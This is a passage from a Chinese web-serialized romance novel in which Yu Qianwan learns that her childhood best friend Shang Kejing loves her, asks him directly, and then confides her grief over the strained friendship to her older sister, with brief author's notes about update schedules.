偏现在,这个人变成了他。 她只能闷着情绪,甚至不能再同他倾诉情绪。 在虞千绾心里,商恪景虽然不是她真正的亲人,但已然被她视作了亲人般的存在。 她认为他们无话不谈,却不想他对她隐藏了一个大秘密,而那个秘密还是关于她的。 在昨晚之前,虞千绾从没想过商恪景会喜欢他。 但细想,一切又都是有迹可循的。 可真发生了,她束手无策,完全不知道该怎么办,她没办法像对待别的追求者那样迅速拒绝他与他保持距离,可也没办法当做什么都发生过继续保持着原貌。 尤其在意识到商恪景的感情后乍然又见他。 虞千绾心绪杂乱,完全不知该说什么才好,于是下意识地选择了退缩,以一种属于他们的方式维持着那份表面上的和平,暂时还没有彻底戳破的勇气。 …… 一整天下来。 两人都没在一起待太久。 这是自虞千绾和常桦闹掰以来的第一次,他们没有从早到晚待在一起。 只在傍晚,商恪景来过一次,把中午拿走的那个装着粥的碗送回来。 然后说自己下午吃得迟不饿,晚上就不跟她一起吃了。 虞千绾也不知道该怎么和商恪景相处,哪怕知道他在找借口,心里也松了口气,应了下来。 不止是见面,他们连消息都没发几条。 习惯了多年暗恋滋味的商恪景显然恢复能力要比虞千绾好许多,翌日他们一早因为要去学校上课再碰面时,商恪景已经满血复活,又恢复了原本的样子同她说说笑笑。 虞千绾却没有办法像他那样自如,也没法再像之前那样心安理得的接受他对自己的好。 因为以前,他们是朋友,虞千绾自诩自己作为朋友对商恪景也不赖,他们可以互相有来有回付出索取,但如果是异性间的感情,她没办法给到他……便也不敢要他的。 他们今天早上只有一节课,便只需带一本书,封面连着里面几页被随意别了支按动黑笔。 要出门的时候,商恪景很习以为常地拿过虞千绾放在玄关柜上的书放在自己的书上,一起拿在手上。 正在换鞋的虞千绾见状却忙不迭探手将自己的书拿了回来,“我自己拿就行。” 她语速很快,视线低垂着继续换鞋,不敢看他。 商恪景诧异抬了抬眉,轻笑声,“干嘛?被谁夺舍了,这么客气?” 感觉到自己有些暴露的虞千绾很心虚,脑袋垂得更低,“……反正就一本,很轻。” 她需要蹲下身去系鞋带,得把书本继续放在玄关柜上,但怕商恪景又拿去,所以在蹲下身之前,默默将书本朝里推了推,使其远离些商恪景。 系鞋带时,她也在有意识放慢系鞋带的速度,以此拖延低头错开他视线的时间,她自知自己容易挂脸,藏不住太多情绪,怕一抬头会露馅得更加明显。 “喔,东西多的时候才往我身上丢是吧?轻了就自己拿,你还挺会偷懒。” 商恪景靠在门边,视线自上而下看着她圆润的脑袋哂笑打趣。 想象里,虞千绾下一秒应该就仰起头回怼他。 但事实却是,她不出声了。 历经了昨天那么一遭,商恪景当下压根不会再往虞千绾知道他喜欢她那方面想,反倒自行替她找补,觉得她是因为一大早起来没精神,所以不想搭理他。 “给我吧,就当感谢那天千绾总没把喝醉的我单独丢在包间里。” 状似调侃地说着,商恪景弯下腰就把虞千绾的书又拿了过来抱在怀里——虽然虞千绾把书放在里侧,但距离拢共就那么点,他胳膊又长,轻易就拿到了,也没多等她的答复。 毕竟从小到大,他都是帮她拿东西的。 这很正常。 等她开口再帮她拿,那才不正常。 却不知低着头的虞千绾好几度欲言又止,最后将唇瓣抿得很紧很紧。 作者有话说:[玫瑰][玫瑰]叮铃铃—— 在这提醒一下,如果有宝宝在上一章刚发的时候看过后面没再看的记得返回去一下!那章加了超级多内容~从一开始的三千多加到了现在的两万多。 然后目前是一个至少日更三千字的状态~如果没挂请假条就说明我更新啦!不更新会请假滴,没看到新章的话就说明我把字数添到上一章里面去了,宝们刷新一下就可以看到新添的内容~[红心][红心] 第32章 第 32 章【文案回收】 “商恪景,…… 司机将虞千绾和商恪景送到校门口, 两人下车进到校内,商恪景照旧就近扫了辆共享电动车载着虞千绾往教室的方向去。 依旧是个重复了三年多、稀松平常的事,坐在后座的虞千绾却像是第一次如此,哪哪都不自在, 她连手都不知道该放在哪里才好, 感觉无论放在哪儿都不对劲。 在往常, 大多时候, 虞千绾是侧坐着将一只手扶在商恪景的坐垫边缘的, 另手撑在自己的坐垫一角或悬空刷刷手机,其实也就是个很正常的社交范围, 何况两个人嘴上虽不多说但心里都有些分寸, 不会碰到对方。 但现在,虞千绾有些草木皆兵, 凡有一点靠近的动作都会思量是不是过了度,会不会让商恪景误解多想。 于是, 她被商恪景载着去往教学楼的一路上都没主动扶过他的坐垫, 只抠着自己坐垫下缘,但这里没有太多的空间给手指抓着,她抓得有些艰难。 这样的坐法不足以稳住身形,而且虞千绾还是侧着坐的, 所以在途经一些不太平稳的路段时, 她的身形会控制不住地摇晃,下意识的,她就会急遽伸手紧紧把在商恪景的坐垫边缘。但在意识到的时候, 她又会瞬间撤开手。 商恪景全程视线向前骑着车,时而还很悠哉悠哉地跟她搭几句话,完全没发现坐在身后的虞千绾的异常。 到达教学楼前的那片停车区域, 商恪景放缓车速还没完全停下车,虞千绾就跟烫屁股似的果断下了车,默默松了口气,还后退了两步。 明明就这么一小段时间,她愣是被磋磨了个彻底,说不出什么具体,就觉得心里脑子里滚过许多许多念头,有逻辑的没逻辑的。 如坐针毡、如鲠在喉、如芒刺背…… 这就是虞千绾从昨晚至今的感受,分外贴切,尤其和商恪景碰面的时候。 天知道她有多想和商恪景捅破那层窗户纸,但话到嘴边,偏又像是被巨量502黏住一般,什么都说不出。 情绪很矛盾的翻来涌去,虞千绾一边不知道商恪景怎么忍得住那么久不提,持续以朋友身份待在她身边,他们明明都不是能藏住事的人,一边却又莫名可以理解他为什么不说,毕竟她现在不就是吗…… 一节大课就这么在心不在焉中流逝。 下课,学生们涌出教学楼,要么选择步行去就近的食堂,要么就扫辆共享电动车去往别处。 虞千绾看着又打算去扫共享电动车的商恪景头皮发麻,不想再经历一次那种无形的折磨,手比脑子快的,她拉住了他胳膊,嘴上发出声“哎——” 商恪景步伐顿住,扭头下压视线看她,“嗯?” 虞千绾一秒松开手,眼睫不自觉加速扇动,“那个、那个……” 异样的太明显,虞千绾自己都听不过去,但舌头跟打结似的,转得很快的脑袋也不知道在转什么,连句话都捋不出。 她只得先将话打住,两手背到了身后,右手指甲在左手食指上上下下地轻掐。 “怎么了?你想去哪吗?” 商恪景困惑看着虞千绾,还当她现在不想回家,有旁的什么安排或是灵机一动。 “那倒没有。” 虞千绾微仰起脸颊,强壮镇定看着商恪景,语调也努力压平,“我就突然想说,不然咱俩各扫一辆车吧?正好你教教我怎么骑电动车的。” “怎么突然想到学骑电动车?” 商恪景哼笑声,虽然有些讶异她突然冒出的话,但也没那么讶异,毕竟她是个很典型的P人,经常想一出是一出的,“大学都快要结束了,咱们出了大学应该就没有再需要骑电动车的地方了,你确定要学?” “要学啊,你看你之前受伤的时候我一个人来上学因为不会骑车不得不早起半个小时,多不方便,还是自己学会了保险。” “可咱们这学期拢共就没多少课,下学期更是一节课都没有,除了论文以外压根不用再来学校,到时候我肯定都在,上次那种意外情况还是少见。” 商恪景认同虞千绾的话,但确实实用性太低,她学会电动车总要时间,保不齐她还没稳稳上路呢,这学期的课都没了,花在学车上的时间估计比真正用得上的时间还多。 “那你要是恋爱了呢,你有了女朋友我总不好还坐你后座的,现在学了总是有备无患,好过突然被丢下……” 商恪景喜欢她这事实在还是让虞千绾感到恍惚,她忍不住想再试探观察一次,因为珍视和他的友情,总还盼着是自己多想了。 但这种弯弯绕的小伎俩虞千绾委实不擅长,所以几乎在开口的瞬间她的脑袋就微微垂下,在最该观察商恪景的时刻却错开了他的视线,不敢看他的神情,声音也越说越低。 周围分明那么喧闹,不仅有刚下课的学生,还有来上第二节课的学生,来来往往,说笑声中夹杂着吐槽声,络绎不绝。 虞千绾的耳畔却倏然那么的安静,安静的她心生慌乱,安静的她都能听到自己的心跳声。 砰—— 砰砰砰—— 砰砰砰砰—— 不断加快着…… “虞千绾。” 终于,沉默了十来秒的商恪景出了声,但一开口就是以那种很直白很生硬的调调喊她全名,虞千绾的心更是沉了下去。 跟着,他更为直白地表达,“我真的很不喜欢你总拿这个跟我开玩笑。” “我以为上次我们在球场聊得很透了,我做好单身一辈子的打算了,赌约也定了,你怎么还提?” “未来这种事情本来就是当下不可证实的,你却总提,就好像断言我未来一定会有一场恋爱,一定会重色轻友地抛下你。面对你的这种话,我总是说什么都没有用,你总是因为我没法证明未来不信我。” 既然未来没法证实,你现在又为什么这么笃定呢? 究竟是不想恋爱还是不能…… 回话一瞬间堵到嗓子眼,虞千绾依旧没说出。 她徐徐抬头,看向有着明显不快的商恪景。 脑海里闪过许多个这样的画面。 ——“虞千绾,我真不想恋爱。” ——“啧,虞千绾你别老说这种话,难不成你会因为谈恋爱就不要我这个朋友了?” ——“谈恋爱咱俩关系就淡了?屁。我才不会,是你这个恋爱脑才会这样吧?别用你揣度我。” 数不清多少个类似的对话在脑袋里交叠,虞千绾已然寻不到源头,她不知他究竟从什么时候开始,但已然感知到他对这话题的反感从何而来。 简直明显的……不像话。 原来……这么明显吗? 看着商恪景那张依旧有些板着的脸,虞千绾抿了抿唇小声,“以后不说了……” 空气又静了须臾。 “还练车吗?” 他的声线还绷着,但声音放轻了些,显然意识到自己的言行在控制自己。 虞千绾摇了摇头。 她现在有些怕和他待在一起了。 每多在一起一刻,她的猜测就会多被印证一分……这种后知后觉的侵袭感太猛太烈,她被席卷在其中丧失主动,只能被动的任由着发展。 到家后,虞千绾以早上起得太早需要补觉为由和商恪景分开,各自待在各自家里,没有让他来自己家里继续待在同一空间内。 理由很合理,冷不丁的一个早八,商恪景也没睡好,也想回去再睡个回笼觉,所以他丝毫没有怀疑地回了自己家。 屋漏偏逢连夜雨。 倒在沙发上惆怅了好一会儿的虞千绾终于起身去了卫生间,打算洗漱一番去床上窝着,结果又发现了个噩耗——她来月经了。 虽然她大多时候不太会痛经的很厉害,除非很不克制的贪凉吃冰又吃辣还让身体受了寒,但比起平常多多少少还是会有些不舒服,譬如腰酸,譬如浑身乏力没劲只想躺着。 本就精神萎靡的虞千绾发现自己来月经以后更是像被抽干了所有气力,瘫倒在床上一动不动。 起初,虞千绾毫无困意,只是用补觉当借口和商恪景分开。 但月经的到来让她顿觉疲惫,在床上不知觉就睡着了,期间迷迷糊糊醒了发现自己连被子都没盖,还保持着趴倒在床上的姿势,她艰难扭动着身子,把自己塞到被子里再度陷入沉睡。 不过她凌晨没睡好是真的,而且这两天有些思绪过重。 月经期的到来在睡眠这方面倒是帮衬到了虞千绾,她有些嗜睡,所以这一觉直接睡过午饭点,持续睡到下午一点多近两点,颇有种把之前缺的都补回来的架势。 隐约想醒,但还有些困意。 虞千绾习惯性摸过手机查看时间,想着如果还早就再睡会儿,结果看到了远超预计的时间,整个人都激灵了下。 手机页面显示有好几条来自微信的未读消息。 虞千绾点入查看,都是商恪景发来的。 第一条是他们分开一个半小时后。 【我醒了,你醒没醒?】 【中午想吃什么?我请客,咱们出去大吃一顿】 半小时后,见她一直没回消息的商恪景显然猜到她没醒,发了个粉色猪头的emoji表情过来。 十二点四十多,商恪景发了个骷髅架的表情包,【祖宗,这个点了还不醒?我要饿成干尸了】 虞千绾不自觉笑了声。 商恪景发来的最后两条消息是一刻钟前。 【正巧魏明轩他们宿舍没课熬夜睡到现在才起,约着吃火锅问我去不去呢,你到现在还没醒我就去咯,不然要被饿扁了,到时候给你打包一份带回来,还想吃什么的话给我发消息】 【总不至于我都吃完了你还没醒吧?(凝视.jpg)】 看完所有消息,虞千绾给予回复: 【醒了】 【但你给我打包火锅的时候少弄些辣油,来月经了,不能吃太多辣】 【至于别的,你看看有没有卖热汤的,我想喝点热的暖暖肚子,没有的话就算了】 商恪景那边秒回:【好,知道了,很快回去】 直到这一刻,左侧栏新消息弹出的这一刻—— 虞千绾刚睡醒的混沌脑子里的某根弦才仿佛乍然连上,她骤然意识到他们的关系不同于她记忆里的往昔了,不该这么习惯性的同他对话、麻烦他。 身子一转,虞千绾两手肘撑在床单上,手指举着手机悬在枕头上一截,指腹迅速敲下【不用了】又觉得太冷漠,太刻意,很容易被他察觉到猫腻,而她还没想好该怎么和他说清楚…… 转而删除,酝酿几秒重新敲下【不急啦,你慢慢吃,我点外卖就好~】 可又觉得好像很替他考虑,没有拉开和他之间的距离,不太合适,遂又删除。 打打删删,删删打打。 虞千绾在页面停留很久都没想出该回复什么才适合处在现在这种微妙阶段的他们。 仰天长叹一声,虞千绾丢了手机平躺在床上盯着天花板,深刻意识到习惯是件很恐怖的事。 她和商恪景之间的互相麻烦已成了日常。 甚至于,成年后的他们在彼此身边的时间比亲人还要多,且不止于亲人,他们就是对方身边最亲密最难以割舍的存在。对待这样的一个人,临时改变是个很难的事,因为对方已经存在于她全部的生活里了,方方面面,各个角落。 日复一日年复一年习惯了这些后,真到意识到他们之间情感变得微妙不能再如此时,虞千绾自己一时间竟都反应不过来。 一些下意识的动作、下意识的话,身体比脑子还快的就做出。 “滴滴滴——” 倏地,虞千绾隐约听到了门口的密码锁似在发出动静,有人在输入密码,并且打开了门。 她当即拿起手机看了眼,没有收到新消息。 此刻距离商恪景最后那条消息才过去十分钟不到的时间。 而她睡醒的时候,他估计也才到火锅店没多久,都不一定吃上了火锅,现在却已经回来了? 虞千绾认为商恪景没法这么快就回来,他总得吃一会儿的,但除了他,知道她家里密码的家人不会连条消息都没有就临时过来。 难不成她听错了? 但门外的脚步声一点点逼近,扼杀了虞千绾的想法。 跟着,她的房门被叩响,熟悉的声传入。 “虞千绾,难不难受?” “来月经就别吃火锅了,我已经联系过家里阿姨了,她正在给你做午饭,做好就让司机送来。我先给你买了点粥回来垫垫肚子,你出来吃还是我给你送进去?” 很明显在关心的语调…… 换做以前,虞千绾只觉得这是好朋友之间正常的情况,如若换做他发烧感冒的她也会自觉照顾他些。 但现在,一切正常都变得不正常起来。 “虞千绾?” 站在门口没得到回应的商恪景又叩了叩门,但力度较轻,带有些试探性,“又睡着了吗?” 虞千绾有些慌乱又急遽地回:“没。” 大抵是中间隔着门,互相之间说话不方便,尤其是商恪景,虞千绾语调轻,他听起来有些费劲,“我把门推开一截了?听不太清你说什么。” “……好。” 门被商恪景从外推开一条很窄的缝,泄入些光亮。 他又问了遍:“肚子疼得厉害吗?要不我把粥给你放床头柜上?” “……不用,我刚醒还不是很饿。” “那我弄你倒杯温水?喝点热的肚子舒服。” “……不用。” 没对着他这么反复拒绝过好意的虞千绾顿觉别扭,但她愈发轻飘的声听在商恪景耳朵里却是另种意思,“喝点吧,我听你说话声音都发虚,我去给你倒。” 而后,没再多等虞千绾说什么,商恪景就从卧室门口离开,去厨房给她倒水。 很快,商恪景端着水杯回来,推门进入,送到了虞千绾身边。 虞千绾没法再说“不用”,只得坐起身默默接过水杯。 “肚子疼不疼?” 一直没得到答案的商恪景问了第三遍。 “还行。” 虞千绾小口小口抿着水,温温吞吞说:“肚子不怎么疼,就是腰酸没什么精神。” 见她不想再喝,商恪景很自然就将水杯从她手里拿回来准备马上带出去,“怪不得今天睡这么久。” “嗯……” 屋内很昏暗,只有门缝进来的那点光,商恪景逆着光而站,身形半明半暗的,虞千绾迅速瞟他眼,“你怎么这么快就回来了?总不能吃这么快吧?” “没吃呢,刚点完菜在等服务员上菜就看到你消息了,索性我就回来了,到时候跟你一起吃家里阿姨做的菜。” 虞千绾揣着明白装糊涂地问:“……为什么不吃?你不是说很饿吗?” “这不是给你送粥吗,干嘛?看你不舒服回来照顾你,你还不乐意了?” 结果被商恪景如此直白但又披着友情这层皮的话回了过来,虞千绾倒回不过话,抿了抿唇后只是轻喃:“没有……” 商恪景看着这样寡言的虞千绾很不习惯,想来应该是她来月经很不舒服不想说话,于是便自觉退出了卧室,“那你再躺着休息会儿吧,我先出去,等到司机送来饭菜我再喊你。中途要是饿了喊我,我把粥给你端来。” 虞千绾点了点头。 商恪景从外关上了卧室门- 一个半小时后。 虞千绾的卧室门再度被叩响,“千绾,饭菜送来了,你想在饭桌上吃还是茶几上边追剧边吃?” “茶几吧。” “行。” 虞千绾很喜欢坐在家里沙发和茶几中间的那条道里,背靠着沙发,面前是茶几和大屏电视,吃饭方便,平常只是追剧也很爽,所以特意让人在下面铺了软毯。 她从卧室出去时,商恪景正在茶几前弯着腰挨个把饭盒从袋子里拿出在茶几上摆开。 而那些虞千绾爱吃的,商恪景都特意放在了她喜欢坐的那片前面,方便她夹。 说不清道不明的,情绪似乎已要到达阈值,素来同他有话直说的虞千绾实在有些憋不住,她没办法感知到他的喜欢却还持续装傻。 “商恪景。” 虞千绾突然唤了他声。 “嗯?怎么了?” 商恪景正在打开饭盒的盖子,只迅速看了她一眼就收回继续去弄饭菜。 “你是不是喜欢我。” 很冷不丁的一声,她看到商恪景去开装汤的保温壶的手顿了一下,可他却没有回头看她,反而在几秒后沉默着继续去开保温壶的盖子。 里面的汤应该是刚煲好就倒进去的,很烫。 商恪景刚要揭开保温壶盖子的手指骤然一缩,显然被升腾起的高温水蒸气烫到了,保温壶盖子也没拿稳掉了下来,在茶几面上砸出“砰”的声,并像陀螺般滚了几圈,时不时碰撞出清脆的声。 虞千绾左脚下意识往前迈了半步又停住缩回。 正在这发窒的氛围里不知所措之际,在保温壶盖顶和茶几碰撞的声中,她听到了商恪景不加掩饰的回答。 他说:“……是。” 作者有话说:预设之中该是有点甜的画面,但写着写着莫名觉得很酸涩[可怜] 第33章 第 33 章 他从没哪一刻像现在这般…… 如商恪景所愿, 虞千绾看到他了,不是仅拘于朋友身份的他。 但同时,他一直担忧且恐惧的那幕也发生了—— “不好意思……我可能需要一些个人空间,这段时间, 我们就先保持些距离吧……” 这是虞千绾给他的答复, 也是他想象过很多次的画面, 而且比他的大多想象都要更委婉, 但他的心还是在瞬间坠至前所未有过的冰点。 “……好。” 商恪景依旧只用一个字应下, 依旧没有看向虞千绾。 他继续着刚刚的动作,不仅把掉落的盖顶拿起放置在一旁, 还将剩余的那道菜也一同摆放好, 只是双眸似乎被热乎的饭菜汤食漫出的白雾熏染,也一同模糊朦胧了。 虞千绾估计他刚刚被水蒸气烫到的那根手指应该烫得不轻, 因为他这段动作里没再用到那根手指,一直将其微微抬着, 并且还带着细微的颤意。 虞千绾很担心他手指的情况, 想提醒他好歹去冲个冷水,不及时处理会更严重。但此刻的担心并不能自如宣之于口,会显得忽远又忽近,反倒让他心里更有落差感, 也很不合时宜。 于是, 她没有开口,就站在原地看着商恪景的动作。 弄好以后,商恪景最后说了句“那你吃吧, 我就先回去了”便径直离开了虞千绾的家。 他们的视线仍然没有对上。 但虞千绾看见了,看见了他一晃而过的被生生憋红的眼尾,看见了他因为忍耐格外紧绷着凸显着的喉结, 也听到了他话里的那点哽意,哪怕他前面在一个字一个字地往外冒,可尾调依旧藏不住。 “啪嗒……” 门轻轻地打开又轻轻地关上,虞千绾垂下眼睑,眼眶里毫无征兆地掉下一滴豆大的泪珠。 很难受,很无措的滋味。 她不知道该怎么办,只觉得他们之间完蛋了,她可能要失去那个曾经以为可以相处一辈子的好朋友了。 明明不久前,她还一直坚定地认为,他们会是一辈子的好朋友。他还和她打赌,说他们这辈子都不谈恋爱,做到七老八十了还待在一块互相作伴的老头老太太。 一切究竟怎么会,这么突然就变成了现在的样子呢…… 下午才吃到第一顿饭,虞千绾该是很饿的,可她却毫无胃口,更别提这些饭菜还是商恪景让人准备送来的,也是他刚刚亲手拆开摆好的。 茶几上摆着好几道菜…… 远不是她一个人能吃完的量,本来该是他们俩一起吃的。 越想眼眶越酸胀,本就没什么胃口的一顿饭最后更是被虞千绾吃成了眼泪拌饭- 商恪景自从虞千绾家回来后,就一直背靠着鞋柜面,抱膝在玄关处坐着。 身边丢着数不清多少团湿的都能捏出水的纸巾。 手机也因为他反复查看相册里保存着的照片没电自动关了机,此刻已被随手抛弃在地面上。 窗外射入的光线一点点变弱,由正盛的白变得昏黄再至晦暗的阴沉。 蜷缩于玄关一隅的光线本就受阻,他的世界也就黑得更快。 没了手机查看时间,商恪景已然无法知道明确的时间。 他听到隔壁传来开门声突然回过神时,屋内早已漆黑一片,但他来不及思索光亮,急遽就想起身通过猫眼查看。可他在玄关坐了太久,腿早就麻了。 骤然起身的那一瞬间,身形一个踉跄在黑暗里扑了个空。 幸而并没摔着,没有发出明显的声响被外面的虞千绾听到发觉他在门后。 商恪景强拖着麻掉的腿,靠着记忆用手扶着玄关柜以最快速度站到门后看猫眼。 但他还是迟了些,只看到了短暂一秒虞千绾挣扎着望着他家门的眼神,以及跟着就转身离开的背影。 他想,她一定不是只看了一秒他家门口,而是他错过了。 这样的认知让商恪景心口更是闷堵,呼吸在粗急,心跳在加快,眼泪在掉,紧握着的双手暴起了青筋…… 他从没哪一刻像现在这般无助。 他甚至不能像之前那般厉声厉色让虞千绾别难过,他去教训那个人替她出气,因为现在让她升起这些负面的复杂的情绪的人是他- 虞昭音下班回到家,推开门就看到盘腿坐在客厅里陪着小橙子玩玩具的虞千绾背影。 家里阿姨上前双手从虞昭音手里接过她的包,并在一旁等待着虞昭音将外套脱下来递给她,她需给挂上。 小橙子听到开门声就扭过头,远远朝着虞昭音笑着摆手,“妈妈!小姨来啦。” 虞昭音边脱外衣边笑说:“妈妈知道,小姨给妈妈发过消息了。不过你小姨今天很稀奇,居然拒绝了妈妈去餐厅吃饭的邀请要在家里吃,事出反常必有妖,保不齐是要更狠地宰妈妈一笔。” 嘴上这么说,但虞昭音那姿态明显很高兴虞千绾过来,也挺乐意出出血被妹妹宰。 虞昭音是在集团规定的下班时间点前半小时收到虞千绾消息的,虞千绾问她是不是要下班了,她要来找她。 但做总裁的怎么可能正儿八经按照朝九晚五的时间点上班下班,现在的天黑得越来越早,虞昭音已经很久没在天亮的时候离开嘉澍大厦,就算早早离开,那也是把工作给带回家处理。所以虞昭音给了虞千绾一个约了个大致时间,本想说到时候带虞千绾出去吃的,哪知道虞千绾破天荒地拒绝了。 虞昭音正心念着自家这个妹妹马上是不是又要展示什么撒娇招数黏着她要个不菲的物什。 结果,背对着她盘腿坐在地毯上默默拼乐高的虞千绾突然别过脸,那张清丽的小脸冲向她的一瞬间就皱成了包子,两行泪惨兮兮地歘地流下来。 “呜——” 一句话没说的虞千绾张嘴就是哭,哭声还不小,乍然的一下给屋里三个人都给惊了下。 虞昭音面上的调侃笑态骤散,当即把外衣塞给阿姨,连脚下的高跟鞋都没来及换就快步朝虞千绾而去,语气担忧,“绾绾怎么了?在哪受委屈了?” 离虞千绾最近的小橙子也立刻抱住了虞千绾,小小的身子紧紧抱着她,还有些肉乎的小手像模像样在虞千绾后背拍着,“小姨不哭,我抱抱你。” 虞昭音蹲在虞千绾面前,也是直接给了她一个满怀的拥抱。 虞千绾这会儿显然陷在情绪里说不出话,急需一个安心处任她发泄,虞昭音便没再问她什么,只是将她圈在自己温暖的怀抱里,右手时而抚抚她脑后的发,时而拍拍她纤薄颤抖的背。 直到见虞千绾哭意渐缓,虞昭音才轻轻拍了拍虞景澄脑袋,“橙子去拿些纸来好不好?给小姨擦擦脸。” “好!” 一直关切蹲在一旁陪着的小橙子迅速应下,步伐捯饬得很快,巴巴跑去把一盒纸巾都拿来,抽出几张递给妈妈,让妈妈给小姨擦。再抽出一张,小心翼翼、轻轻柔柔亲手擦拭着妈妈没给小姨擦干净的地方。 在这样的存眷和陪伴下,虞千绾彻底止住了哭声,就是身体短时间内还没缓过来,时而还会很轻的随着抽噎微动。 虞昭音少见自己小太阳般的妹妹哭成这样,很是心疼,“傻丫头,早说你有事难受,我直接就去找你了,哪里要你闷到现在。” “……那我不是不想打扰到你工作嘛。” 哭了太久,虞千绾一开口声音就是闷哑的,还带着些没退散的哭音,“而且我本来只是想跟你聊聊而已,没想哭的,不知道怎么刚刚听到你的声音,突然就很难受,眼泪绷不住就下来了。” 虞昭音帮她捋好黏在潮湿面颊旁的发丝,挂回耳后,“那你现在说,我在这呢。” “就是我发现商——” 说了几个字突然发现一旁一脸认真看着她的小橙子,虞千绾话语一顿,话锋一转,捏了捏小橙子的脸,“少儿不宜。” 虞昭音扭头就将他交给阿姨,“李阿姨,你带小橙子去玩吧。” 李阿姨:“哦好昭音总。” 小橙子一张小脸瞬间垮下,明显不情愿走。 但妈妈和小姨都不给他听,他没有办法,只能被李阿姨半牵半拉着带走了。 客厅里还有在忙活别的家务的阿姨,时而会路过,客厅并不隐秘。 虞昭音便带着虞千绾去了书房。 虞千绾把这两天闷在心里的话一股脑全都倒给了姐姐,最后既惊讶又无奈地说:“姐你敢信吗?他居然喜欢我。” “他商恪景!”虞千绾咬重音,手指指了指自己,“和我!” “太匪夷所思了,我们可是连对方穿开裆裤的照片都见过。” 虞昭音看着说完后面如死灰倒在桌子上的虞千绾,单手支颐,有些好笑地反问:“见过穿开裆裤照片和喜不喜欢,这两者之间有什么必然关系吗?” 虞千绾义正辞严,“当然有了,这代表我们很熟啊,是家人一样的朋友。” “我不觉得,我反而认为这代表你们关系好,感情深。但这个世界上有太多感情,显然,你们俩对对方产生的感情不一样。而且——” 虞昭音想了想时间线,“应该是你念高二的时候,我就感觉商恪景对你好像和以前不太一样了。” “姐你早就发现了?” 虞千绾愕然瞠目,“那你那时候怎么不跟我说啊。” “我不经常和你俩待在一起,只是隐约有这种感觉,不能太确定,而且我问过你了,你说跟他只是朋友,还嫌我唠叨,说我怎么也跟别人似的以为你们俩有什么,我就没再说了。” “反正你也不喜欢他,知道了只是徒增烦恼,还是说——” 虞昭音话腔掺上些笑音,抬指轻轻点了点虞千绾额头,“我妹妹后知后觉发现自己也有点喜欢他了?” “不是……” 虞千绾拖长音哼唧,怅然了好一阵才道:“就是知道自己不喜欢,才这么难受,真喜欢就在一起了,哪会有这些。” “但你也知道,我跟他太熟了,突然这么重要的一个朋友要没了,我感觉心里空落落的,好舍不得,可又不能一直当做不知他的喜欢享受着他对我的好。虽然我从意识到他喜欢我到问出口之间连两天都没忍到,但你不知道我憋得有多难受,一秒都是煎熬。现在说出口答案是清楚了,但心又是另种程度的闷了。和一个好朋友闹出这样,真是比失恋还难受一百倍……” “或许,你可以和他好好聊聊?你们俩肯定都很珍视这段友情,没必要因为爱情散掉,我觉得你们俩这么久的友情比爱情要珍贵很多倍。” 虞千绾何尝不知道这个理,“但这事捅破了,我们俩的友情就变味了,肯定做不回之前那样的朋友了。我也张不开口跟他聊,因为我知道他肯定会同意回到朋友的关系,可事实是,我们就是回不去了。” 虞千绾越说越心烦意乱,在身边共处了二十多年的人,她不敢想象突然没了这个人的生活,她的一切搭子都没了…… 就跟共脑一般,虞昭音突然问她:“你可以接受没有他的生活吗?” “事到如今,我不得不接受,但打心底里肯定不想接受……” 在姐姐面前,虞千绾完全诚实道:“但随着时间,慢慢的应该就会习惯。” 只是不知道时间要多久…… “习惯了以后呢?每次见到再在心里遗憾感慨?” “你们俩的朋友关系可跟别的朋友还有所不同,不是说断就能断的,咱们两家人处得这么近,动不动就三三两两在一起聚餐的,你躲得了一时躲不了一世,后面肯定会和他多次待在同一个场合里。以你的性格,你能在大家面前装作没事人?这种刻意的疏离也不比明知感情不单纯还在一起玩舒服到哪去吧?” “啊……” 虞千绾抱住了脑袋,低低哀嚎,“姐你别说了,我头都大了……” “跟你说件更头大的事。” “我不要听。” 虞昭音自顾自地说:“咱爷爷奶奶结婚纪念日不是下周三吗?但二老想说把两家人尽量都凑到一起,人多热闹,可是下周三商恪景他爸妈没空,所以长辈们商量以后打算提前过纪念日,放在这周日,大家都有空。” 虞千绾感觉眼前一片白一片黑的。 如若是商恪景的爷爷奶奶,她还能找借口说不凑巧,她事先跟朋友约好去旅游了,没想到撞上这样的日子,没法去参加,只能给个消息祝福。可自家的爷爷奶奶,她爸妈都不会纵容她的借口……何况还是一年一次的结婚纪念日,她自己也不想缺席。 “周日……怎么偏偏是周日……” “怎么?那天有什么特殊?” “他周六有个球赛,我不打算去来着……第二天正是尴尬期,结果又要去爷爷奶奶家聚……好尴尬。” 虞昭音委实爱莫能助。 虞千绾扑腾一下坐起身,抱着最后一丝希望抓住虞昭音胳膊问:“姐你说,商恪景可能会不去吗?” “如果你俩身份颠倒过来,把你当朋友的人是他,那他估计是不会去。” 虞昭音实事求是的回答让虞千绾最后一丝希望也破灭,她又瘫回了桌子上,这次真是一点精气神都没有了。心里头压着的事是说出来了,但在距离周日的这些天里,她估计要持续提心吊胆的了。 “或者——” 虞昭音忽而又道:“他很在意你,不想让你不自在,也可能不来。” 虞千绾彻底闭上了眼睛,脑海里却鬼使神差闪过商恪景离开她家时湿红的眼尾。 她彻底默了声,这下不管他来不来,她的心里怕是都没法冷静了…… 第34章 第34章【二合一】 碰面 这周后面几天都没课, 虞千绾回去也是一个人待着,还可能在进出家门时撞见隔壁的商恪景。 现在的他们碰面太尴尬,虞千绾便选择不回校外小区,直接在姐姐家里住到周日一起去给爷爷奶奶庆祝结婚纪念日。 白日里, 姐姐去上班, 外甥去上幼儿园。 虞千绾就独自在姐姐的大别墅里四处晃荡, 在这窝一会儿, 在那窝一会儿, 渴了饿了馋了全都有保姆和厨师。 对于本就喜欢宅在家的虞千绾而言,这该是她最满意的生活, 单论外在的舒适程度也确实如此, 但时而就会出现那么一个瞬间让她想起商恪景,然后陷入惘然的怅然若失中。 习惯性行为不是一天两天养成的, 也不是一天两天能改掉的,哪怕商恪景不在身边, 虞千绾却仍然能在生活里感觉到商恪景的痕迹, 毕竟他也来过她姐姐家很多次……更别提在二十年间形成的下意识分享的举措。 譬如,她刷到一个搞笑视频就习惯性想转发给商恪景,按下转发键后系统跳出让她点击具体好友转发的页面,看到商恪景头像的虞千绾骤然清醒, 又赶忙取消准备分享过去的视频。 又譬如, 一打开微信就能看到的显眼置顶。 再譬如,看到什么想到什么第一反应想要发去消息的人也是他…… 其实在这些事发生的那一秒虞千绾反倒不会怎么难过,彼时只有突然反应过来他们之间的关系不同于以往不能再如此的惊惶, 手上迅速退出页面,生怕手一抖将分享的东西发过去更要命。 复杂又难解的情绪恰恰是在逐渐趋于冷静的时候升起的,一想到要没了这么珍贵这么要好的朋友, 